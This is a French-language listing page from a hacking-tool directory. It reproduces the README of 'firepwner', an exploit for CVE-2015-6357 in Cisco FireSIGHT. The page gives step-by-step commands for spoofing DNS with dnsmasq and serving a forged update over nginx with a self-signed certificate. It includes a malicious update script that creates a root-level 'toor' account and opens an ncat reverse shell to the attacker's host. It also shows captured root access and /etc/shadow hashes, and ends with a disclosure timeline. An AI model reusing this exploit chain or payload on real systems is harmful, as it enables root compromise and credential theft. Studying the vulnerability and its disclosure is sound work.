Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
firepwner — Exploit pour CVE-2015-6357 Cisco FireSIGHT Management Center - Vulnérabilité de validation de certificat | Kitploit
Outils/GitHubGitHub/mattimustang/firepwner
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleAnalyse DNS
GitHubmattimustang/firepwner

firepwner

Exploit pour CVE-2015-6357 Cisco FireSIGHT Management Center - Vulnérabilité de validation de certificat

Voir le dépôt
65il y a 10 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2015-6357 : Exploit FirePWNER pour la vulnérabilité de validation SSL du Cisco FireSIGHT Management Center

Introduction

À elle seule, la vulnérabilité de validation de certificat du Cisco FireSIGHT Management Center est une vulnérabilité de sévérité moyenne avec un CVSS de 5.1. Cependant, cette vulnérabilité est un exemple de l'importance de la validation des certificats SSL. Dans cet exploit, je vais démontrer comment la vulnérabilité peut être exploitée pour obtenir une exécution de commande à distance privilégiée sur un système Cisco FireSIGHT. L'exploit enchaîne la vulnérabilité de validation SSL avec le processus de mise à jour logicielle sur le système Cisco FireSIGHT pour tromper le système cible afin qu'il télécharge une mise à jour malveillante et l'exécute pour obtenir un shell inverse avec les privilèges root.

ET C'EST POURQUOI IL FAUT TOUJOURS VALIDER LES CERTIFICATS SSL

La vulnérabilité

L'appliance Cisco FireSIGHT Management Center est utilisée pour gérer les systèmes de prévention d'intrusion (IPS) Cisco FirePOWER, également connus sous le nom de Sourcefire IPS. FireSIGHT est responsable du téléchargement des signatures IPS mises à jour et de leur installation sur les périphériques IPS gérés.

Le FireSIGHT Management Center permet à un administrateur de lancer manuellement une mise à jour des règles IPS ou de planifier les mises à jour pour qu'elles se produisent quotidiennement/hebdomadairement/mensuellement.

Lorsque le FireSIGHT Management Center effectue une mise à jour, il utilise la commande UNIX curl pour effectuer le téléchargement depuis Sourcefire Support. L'invocation de la commande curl reçoit l'option -k (alias --insecure) qui indique à curl de ne pas valider les certificats SSL présentés par le serveur.

Voici la sortie de ps du serveur téléchargeant une mise à jour :

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

Les mises à jour FireSIGHT se présentent sous la forme d'un script shell généré par makeself qui contient à la fois des commandes shell UNIX Bourne et les données binaires à livrer dans la mise à jour. Ces scripts shell de mise à jour sont exécutés directement sur le serveur FireSIGHT en tant qu'utilisateur local www.

Un attaquant capable d'effectuer une attaque de l'homme du milieu contre un serveur FireSIGHT peut le forcer à se connecter à une version usurpée du site Web Sourcefire Support et à télécharger un script de mise à jour malveillant qui exécutera toute commande souhaitée par l'attaquant sur le serveur FireSIGHT.

La vulnérabilité de validation SSL permet à cela de se produire, ce qui fait que le système ignore joyeusement le certificat SSL usurpé de l'attaquant, télécharge la mise à jour malveillante et l'exécute.

Si la commande curl devait valider le certificat SSL, elle échouerait à télécharger le script malveillant et protégerait le serveur FireSIGHT de l'attaquant.

Cet exploit démontre le danger de ne pas valider le certificat SSL en exploitant la vulnérabilité pour obtenir une exécution de commande à distance en tant qu'utilisateur root.

Le scénario d'attaque

Le scénario d'attaque est celui où un attaquant a acquis la capacité de faire de l'homme du milieu sur le trafic entre le serveur FireSIGHT et le site Web https://support.sourcefire.com. La façon la plus simple de démontrer cela est de mettre en place un serveur DNS « compromis » qui répond aux requêtes pour le domaine support.sourcefire.com avec l'adresse IP d'un serveur Web que l'attaquant contrôle.

Dans un scénario d'attaque réel, l'attaquant peut utiliser un certain nombre de techniques d'homme du milieu pour parvenir aux mêmes fins. Telles que :

  • Empoisonnement du cache DNS
  • Usurpation ARP. Par exemple ettercap.

Cet exploit a été testé contre les versions d'appliance virtuelle FireSIGHT suivantes :

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

Dans la preuve de concept ci-dessous, le serveur FireSIGHT s'est vu attribuer l'adresse IP 192.168.1.99.

L'hôte attaquant exécutait Kali Linux 2.0, bien que la configuration ci-dessous devrait fonctionner sur n'importe quel serveur basé sur Debian Linux. L'adresse IP de l'hôte Kali dans l'exemple ci-dessous est 192.168.1.1. L'hôte Kali est utilisé pour exécuter le serveur DNS ainsi que le site Web Sourcefire Support usurpé.

Configuration de dnsmasq

L'exploit nécessite la capacité d'usurper la réponse DNS pour support.sourcefire.com. Un serveur dnsmasq est exécuté pour fournir cette capacité et agir comme serveur DNS « compromis ».

Installer dnsmasq :

root@kitploit:~
root@kali# apt-get install dnsmasq

Configurer dnsmasq :

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

Modifiez l'adresse IP dans la ligne address pour qu'elle soit l'adresse du serveur Web à partir duquel vous servirez les mises à jour.

Démarrer dnsmasq :

root@kitploit:~
root@kali# service dnsmasq start

Configuration de nginx

Un serveur Web est nécessaire pour servir l'exploit au serveur FireSIGHT lorsqu'il demande une mise à jour.

Installer le serveur Web nginx :

root@kitploit:~
root@kali# apt-get install nginx

Créer un certificat auto-signé pour usurper support.sourcefire.com :

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

Configurer nginx en remplaçant le contenu de /etc/nginx/sites-available/default par :

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

Démarrer nginx :

root@kitploit:~
root@kali# service nginx start

Configuration de l'exploit

L'exploit FirePWNER nécessite que deux fichiers soient servis à partir du serveur Web. Le premier fichier est le manifeste de mise à jour qui est un fichier XML contenant une liste des mises à jour disponibles, leur emplacement de téléchargement et les hachages MD5.

Vous devez d'abord créer quelques répertoires :

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

Copiez ensuite les fichiers d'exploit dans ceux-ci :

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

Après avoir copié ces fichiers, vous devriez pouvoir naviguer vers http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

Configuration du DNS du serveur FireSIGHT

Ensuite, à des fins de démonstration de l'exploit, le serveur FireSIGHT doit être configuré pour utiliser le serveur DNS « compromis ». Connectez-vous au portail Web FireSIGHT et allez dans System > Local > Configure > Management Interfaces et définissez le serveur DNS principal sur l'adresse IP du serveur DNS « compromis » (192.168.1.1) et enregistrez la modification.

Exécution de l'exploit

L'exploit utilise la commande ncat installée par défaut sur le serveur FireSIGHT pour créer un shell inverse vers l'hôte Kali. Sur l'hôte Kali, vous devez écouter la connexion du shell inverse provenant du serveur FireSIGHT :

root@kitploit:~
root@kali# ncat -v -l 4444

Ensuite, sur le portail Web FireSIGHT, naviguez vers System > Updates > Rule Updates et sélectionnez Download new rule update from the Support Site puis cliquez sur le bouton Import. Le serveur téléchargera alors le manifeste de mise à jour sf.xml depuis le serveur de l'attaquant, verra qu'une mise à jour est disponible, téléchargera la mise à jour et l'exécutera en tant qu'utilisateur www. Le script de mise à jour/exploit ci-dessous tire parti du fait que l'utilisateur www dispose de plusieurs commandes sudo qu'il peut exécuter, y compris useradd. L'exploit crée un nouvel utilisateur toor avec un mot de passe vide, puis utilise su pour élever les privilèges et démarrer une connexion shell inverse vers le serveur de l'attaquant.

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

Le script d'exploit peut être modifié pour exécuter d'autres commandes souhaitées. Si le script est modifié, la valeur de la balise XML <md5sum> dans sf.xml doit être mise à jour avec le nouveau hachage MD5 du script d'exploit.

Voici un exemple de la sortie que vous devriez voir sur l'hôte Kali lorsque l'exploit réussit et qu'un shell distant sur le serveur FireSIGHT est ouvert et que les commandes id et cat /etc/passwd sont exécutées :

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

Obtention de l'exploit

Les fichiers utilisés dans cet exploit peuvent être obtenus depuis github.

Calendrier de divulgation

  • 2015-08-31 Vulnérabilité découverte dans FireSIGHT 5.4.x et exploit développé par Matthew Flanagan.
  • 2015-09-01 Premier contact avec Cisco PSIRT [email protected].
  • 2015-09-01 PSIRT a répondu en demandant plus d'informations.
  • 2015-09-01 Matthew Flanagan a fourni à PSIRT un rapport complet et l'exploit de la vulnérabilité.
  • 2015-09-02 PSIRT a ouvert un défaut FireSIGHT et l'incident PSIRT-190974966.
  • 2015-09-15 Matthew Flanagan a signalé à Cisco PSIRT que les versions 5.2.0 et 5.3.0 sont également vulnérables.
  • 2015-10-16 PSIRT m'a informé du score CVSS qu'ils ont attribué à la vulnérabilité.
  • 2015-11-09 PSIRT a attribué l'ID CVE CVE-2015-6357.
  • 2015-11-16 Publication de la vulnérabilité de validation de certificat du Cisco FireSIGHT Management Center.
  • 2015-11-16 Publication des découvertes de Matthew Flanagan.
Télécharger l’outil